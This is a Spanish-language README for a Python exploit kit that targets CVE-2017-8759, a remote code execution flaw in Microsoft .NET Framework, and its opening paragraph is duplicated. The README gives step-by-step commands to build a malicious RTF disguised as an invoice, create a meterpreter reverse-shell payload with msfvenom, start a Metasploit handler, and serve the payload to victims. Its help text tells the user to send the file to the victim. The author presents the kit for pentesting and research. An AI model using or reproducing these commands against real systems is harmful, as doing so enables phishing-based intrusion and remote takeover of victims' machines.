El kit de explotación CVE-2017-8759 - v1.0 es un práctico script de Python que proporciona a pentesters e investigadores de seguridad una forma rápida y efectiva de probar la ejecución remota de código (RCE) en Microsoft .NET Framework. Puede generar un archivo RTF malicioso y entregar metasploit / meterpreter / otro payload a la víctima sin ninguna configuración compleja.
El kit de explotación CVE-2017-8759 - v1.0 es un práctico script de Python que proporciona a los pentesters e investigadores de seguridad una forma rápida y efectiva de probar la ejecución remota de código (RCE) en Microsoft .NET Framework. Puede generar un archivo RTF malicioso y entregar un payload de metasploit / meterpreter / u otro a la víctima sin necesidad de configuración compleja.
Este programa es únicamente con fines educativos. No lo use sin permiso. Se aplica el descargo habitual, especialmente el hecho de que yo (bhdresh) no soy responsable de ningún daño causado por el uso directo o indirecto de la información o funcionalidad proporcionada por estos programas. El autor o cualquier proveedor de Internet NO asume ninguna responsabilidad por el contenido o uso indebido de estos programas o cualquier derivado de los mismos. Al usar este programa acepta que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de bhdresh.
Finalmente, esto es un desarrollo personal, por favor respete su filosofía y no lo use para cosas malas.
CC BY 4.0 licencia - https://creativecommons.org/licenses/by/4.0/
Se introdujeron las siguientes capacidades al script
- Generar archivo RTF malicioso
- Modo de explotación para el archivo RTF generado
Versión: Python versión 2.7.13
1) Generate malicious RTF file
# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
# python cve-2017-8759_toolkit.py -h
Esta es una práctica herramienta para explotar CVE-2017-8759 (RCE de Microsoft .NET Framework)
Modos:
-M gen Generar solo archivo malicioso
Generar archivo RTF malicioso:
-w <Filename.rtf> Nombre del archivo RTF malicioso (Comparta este archivo con la víctima).
-u <http://attacker.com/test.txt> Ruta del archivo txt remoto. Normalmente, debe ser un dominio o IP donde esta herramienta se esté ejecutando.
Por ejemplo, http://attackerip.com/test.txt (Esta URL se incluirá en el archivo RTF malicioso y será solicitada una vez que la víctima abra el archivo RTF malicioso).
-M exp Iniciar modo de explotación
Explotación:
-p <Puerto TCP:Predeterminado 80> Número de puerto local.
-e <http://atacante.com/shell.exe> La ruta de un archivo ejecutable / shell meterpreter / payload que debe ejecutarse en el objetivo.
-l </tmp/shell.exe> Especificar la ruta local de un archivo ejecutable / shell meterpreter / payload.
@bhdresh
@Voulnet, @vysec, @bhdresh
Obviamente, no soy un desarrollador a tiempo completo, así que espere algunos contratiempos
Por favor, reporte errores y problemas a través de https://github.com/bhdresh/CVE-2017-8759/issues/new